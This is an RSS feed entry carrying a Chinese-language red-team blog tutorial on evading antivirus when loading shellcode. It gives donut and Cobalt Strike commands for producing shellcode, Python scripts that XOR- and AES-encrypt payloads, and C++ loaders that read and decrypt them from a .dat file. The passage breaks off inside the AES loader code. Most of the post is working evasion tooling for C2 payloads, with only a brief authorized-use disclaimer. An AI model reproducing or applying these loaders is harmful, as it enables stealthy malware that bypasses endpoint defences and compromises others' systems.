<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Red-Team - 标签 - Simon's Blog</title><link>https://blog.leeissonba.com/tags/red-team/</link><description>Red-Team - 标签 - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 28 Jul 2026 23:10:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/tags/red-team/" rel="self" type="application/rss+xml"/><item><title>Shellcode 免杀加载完整流程</title><link>https://blog.leeissonba.com/shellcode-evasion-loading-workflow/</link><pubDate>Tue, 28 Jul 2026 23:10:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/shellcode-evasion-loading-workflow/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/featured.jpg" alt="Shellcode 免杀加载完整流程" referrerpolicy="no-referrer">
            </div><p>从 EXE/Beacon 提取或 Cobalt Strike 直接生成 shellcode，经 XOR/AES 加密后，可通过独立加载器或白加黑 DLL 在目标环境解密执行。本文按「生成 → 加密 → 加载 → 交付」梳理完整链路，并给出 CS 白加黑与 GodPotato 两个实战案例。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、安全研究与防御评估使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="整体流程">整体流程</h2>
<div class="mermaid" id="id-4">flowchart LR
    subgraph S1[&#34;① 生成 Shellcode&#34;]
        A1[&#34;EXE / Beacon&#34;] --&gt; A2[&#34;donut / go-donut&#34;]
        A3[&#34;Cobalt Strike&#34;] --&gt; A4[&#34;C 格式 shellcode / .bin&#34;]
        A2 --&gt; B[&#34;原始 shellcode&#34;]
        A4 --&gt; B
    end

    subgraph S2[&#34;② 加密&#34;]
        B --&gt; C{&#34;加密算法&#34;}
        C --&gt; C1[&#34;XOR&#34;]
        C --&gt; C2[&#34;AES&#34;]
        C --&gt; C3[&#34;RSA（参考）&#34;]
        C1 --&gt; D[&#34;.dat / .ini&#34;]
        C2 --&gt; D
        C3 --&gt; D
    end

    subgraph S3[&#34;③ 加载 / 交付&#34;]
        D --&gt; E1[&#34;手动加载器&lt;br/&gt;VirtualProtect / VirtualAlloc&#34;]
        D --&gt; E2[&#34;白加黑 DLL 解密执行&#34;]
        D --&gt; E3[&#34;Go 现成加载器&#34;]
        E2 --&gt; F[&#34;白 EXE 触发上线&#34;]
        E1 --&gt; G[&#34;独立 EXE 执行&#34;]
        E3 --&gt; G
    end</div>
<p>白加黑 DLL 劫持原理详见已发布文章：<a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows 白加黑技术剖析</a>。</p>
<h2 id="一生成-shellcode">一、生成 Shellcode</h2>
<h3 id="11-从-exe-提取donut--go-donut">1.1 从 EXE 提取（donut / go-donut）</h3>
<p><strong>go-donut</strong>（仅输出 bin 格式）：<a href="https://github.com/Binject/go-donut" target="_blank" rel="noopener noreffer ">Binject/go-donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./go-donut -i windows_amd64.exe   <span class="c1"># 注意必须有后缀，否则生成的 bin 不可用</span></span></span></code></pre></div></div>
<p><strong>donut</strong>（推荐）：<a href="https://github.com/TheWover/donut" target="_blank" rel="noopener noreffer ">TheWover/donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># -f 3：C 类型 shellcode；-z 2：压缩</span>
</span></span><span class="line"><span class="cl">donut.exe -i windows_i386.exe -f <span class="m">3</span> -z <span class="m">2</span></span></span></code></pre></div></div>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>架构一致<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">shellcode 位数必须与<strong>最终执行它的进程</strong>一致。例如白加黑宿主 <code>et.exe</code> 为 x64，则 CS / donut 也必须出 x64；x86 shellcode 进 x64 进程会直接崩溃。</div>
    </div>
</div>
<h3 id="12-从-cobalt-strike-直接生成">1.2 从 Cobalt Strike 直接生成</h3>
<ol>
<li>CS → <strong>Attacks → Packages → Payload Generator</strong>（输出 C 格式 shellcode；<code>Windows Executable (S)</code> 生成的是可执行文件，不是本文所用的字节数组）</li>
<li>输出格式选 <strong>C</strong>，得到形如 <code>unsigned char buf[] = &quot;\x90\x90...&quot;;</code> 的数组</li>
<li>若走本文的 Python 加密脚本：需得到<strong>原始二进制</strong> <code>.bin</code>（不要只去掉 <code>\x</code> 留下十六进制文本；可用脚本把 <code>\xHH</code> 转为字节，或直接导出/转换 bin）</li>
<li>进入第二章加密，再交由白加黑 DLL 或独立加载器执行</li>
</ol>
<h2 id="二加密方式">二、加密方式</h2>
<h3 id="21-xor-异或加密解密">2.1 XOR 异或加密解密</h3>
<h4 id="python-加密">Python 加密</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">key_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">encrypted_shellcode</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">key_len</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">encrypted_shellcode</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 ShellcodeEncrypt.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;henry123456aa+-==@asd&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="n">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="c-解密">C++ 解密</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 从与可执行文件同名的 .dat 文件中读取加密 shellcode
</span></span></span><span class="line"><span class="cl"><span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;henry123456aa+-==@asd&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">keylength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">keylength</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// shellcode 已解密，长度为 size
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="22-aes-加密解密">2.2 AES 加密解密</h3>
<p>依赖：<a href="https://github.com/kokke/tiny-AES-c" target="_blank" rel="noopener noreffer ">tiny-AES-c</a>（将 <code>aes.c</code>、<code>aes.h</code>、<code>aes.hpp</code> 加入项目）</p>
<h4 id="python-加密-1">Python 加密</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>依赖<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">需安装 <code>pycryptodome</code>：<code>pip uninstall crypto pycrypto &amp;&amp; pip install pycryptodome</code></div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 shellcodeAESenc.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Original Shellcode Size:&#34;</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded_data</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypt</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="cc-解密">C/C++ 解密</h4>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;aes.hpp&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 长度须为 16 字节；勿用带尾随 &#39;\0&#39; 的字符串字面量当 key/iv
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
